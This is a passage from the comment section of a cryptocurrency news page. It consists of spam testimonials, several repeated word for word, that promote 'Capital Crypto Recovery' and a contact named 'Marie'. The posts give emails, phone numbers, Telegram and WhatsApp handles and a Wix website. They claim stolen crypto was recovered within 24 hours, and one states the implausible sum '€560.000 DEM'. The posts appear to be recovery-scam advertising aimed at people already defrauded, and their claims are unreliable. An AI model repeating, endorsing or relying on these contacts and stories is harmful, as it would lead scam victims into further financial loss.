the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon